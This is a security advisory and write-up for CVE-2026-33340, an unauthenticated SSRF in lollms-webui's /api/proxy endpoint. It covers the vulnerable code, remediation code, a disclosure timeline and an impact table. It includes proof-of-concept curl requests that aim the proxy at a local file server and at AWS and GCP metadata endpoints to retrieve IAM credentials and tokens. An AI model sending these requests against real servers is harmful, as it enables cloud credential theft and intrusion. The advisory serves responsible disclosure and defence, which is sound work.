
CVE-2026-33340: Critical SSRF in lollms-webui /api/proxy - Unauthenticated arbitrary request forgery (CVSS 9.1)
| Field | Detail |
|---|---|
| CVE ID | CVE-2026-33340 |
| Vulnerability | Server-Side Request Forgery (SSRF) |
| Affected Product | ParisNeo/lollms-webui (LoLLMs WEBUI) |
| Severity | Critical — CVSS 9.1 |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| CWE | CWE-918: Server-Side Request Forgery (SSRF) |
| Affected Component | lollms_core/lollms/server/endpoints/lollms_apps.py |
| Vulnerable Endpoint | /api/proxy |
| Advisory | GHSA-mcwr-5469-pxj4 |
| NVD | NVD Entry |
| SentinelOne | SentinelOne Analysis |
| Discovered by | Regaan R — ROT Independent Security Research Lab |
A critical Server-Side Request Forgery (SSRF) vulnerability has been identified in lollms-webui, the web interface for Lord of Large Language and Multi modal Systems. The @router.post("/api/proxy") endpoint allows unauthenticated attackers to force the server into making arbitrary GET requests. This can be exploited to access internal services, scan local networks, or exfiltrate sensitive cloud metadata such as AWS/GCP IAM tokens.
ParisNeo/lollms-webui / ParisNeo/lollmslollms_core/lollms/server/endpoints/lollms_apps.py (Lines 443-450)/api/proxyThe vulnerability exists because the proxy function in lollms_apps.py does not implement authentication or any form of URL/domain validation. It accepts a raw URL string from the user and passes it directly to an asynchronous HTTP client.
@router.post("/api/proxy")
async def proxy(request: ProxyRequest):
try:
async with httpx.AsyncClient() as client:
# No check_access() call — unauthenticated
# No URL validation — arbitrary destinations
response = await client.get(request.url)
return {"content": response.text}
except Exception as e:
raise HTTPException(status_code=500, detail=str(e))
check_access(lollmsElfServer, request.client_id) or any authentication middleware, allowing any unauthenticated user to invoke it.httpx.AsyncClient().get() without checking the destination against a whitelist or blocking private/internal IP ranges.{"content": response.text}, allowing complete data exfiltration.echo "INTERNAL_SECRET_DATA" > secret.txt
python3 -m http.server 8888
curl -X POST http://localhost:9600/api/proxy \
-H "Content-Type: application/json" \
-d '{"url": "http://localhost:8888/secret.txt"}'
{"content": "INTERNAL_SECRET_DATA\n"}
The server fetched the file from the internal service and returned its contents to the attacker.
# AWS IMDSv1 — Retrieve IAM credentials
curl -X POST http://<target>:9600/api/proxy \
-H "Content-Type: application/json" \
-d '{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}'
# GCP — Retrieve access token
curl -X POST http://<target>:9600/api/proxy \
-H "Content-Type: application/json" \
-d '{"url": "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token"}'
Attacker lollms-webui Server Internal Network
| | |
| POST /api/proxy | |
| {"url": "http://169.254..."} | |
|----------------------------------->| |
| | GET http://169.254.169.254/... |
| |------------------------------------->|
| | |
| | 200 OK (IAM credentials) |
| |<-------------------------------------|
| | |
| {"content": "<credentials>"} | |
|<-----------------------------------| |
@router.post("/api/proxy")
async def proxy(request: ProxyRequest):
check_access(lollmsElfServer, request.client_id) # Add this
# ...
from urllib.parse import urlparse
import ipaddress
BLOCKED_RANGES = [
ipaddress.ip_network("127.0.0.0/8"),
ipaddress.ip_network("10.0.0.0/8"),
ipaddress.ip_network("172.16.0.0/12"),
ipaddress.ip_network("192.168.0.0/16"),
ipaddress.ip_network("169.254.0.0/16"), # Cloud metadata
]
def is_safe_url(url: str) -> bool:
parsed = urlparse(url)
hostname = parsed.hostname
if hostname in ("localhost", ""):
return False
try:
ip = ipaddress.ip_address(hostname)
return not any(ip in network for network in BLOCKED_RANGES)
except ValueError:
# Hostname is a domain — resolve and check
import socket
resolved = socket.gethostbyname(hostname)
ip = ipaddress.ip_address(resolved)
return not any(ip in network for network in BLOCKED_RANGES)
ALLOWED_DOMAINS = ["api.example.com", "cdn.example.com"]
def is_whitelisted(url: str) -> bool:
parsed = urlparse(url)
return parsed.hostname in ALLOWED_DOMAINS
| Date | Event |
|---|---|
| 2026-03-07 | Vulnerability discovered and reported via GitHub Security Advisory |
| 2026-03-24 | CVE-2026-33340 published to NVD |
| 2026-03-25 | NVD database entry updated |
| 2026-03-27 | SentinelOne publishes vulnerability analysis |
Regaan R (@regaan) Lead Researcher — ROT Independent Security Research Lab
This writeup is published for educational and defensive purposes only. The vulnerability was reported through responsible disclosure via GitHub Security Advisories. Always obtain proper authorization before testing for vulnerabilities.
This writeup is released under CC BY 4.0.
| Scenario | Description |
|---|
| Cloud Credential Theft | Attackers on cloud platforms (AWS/GCP/Azure) can access http://169.254.169.254/ to retrieve instance metadata, IAM credentials, and access tokens — leading to full cloud account compromise. |
| Internal Network Pivoting | Attackers can probe internal databases, APIs, admin panels, and management interfaces not exposed to the public internet. |
| Localhost Service Access | Attackers can reach localhost-bound services (Redis, Elasticsearch, Docker API, database consoles) that implicitly trust local traffic. |
| Internal Port Scanning | The SSRF can be used to enumerate open ports and running services on the internal network by observing response timing and error messages. |
| Data Exfiltration | Any HTTP-accessible data within the server's network reach can be read and returned to the attacker. |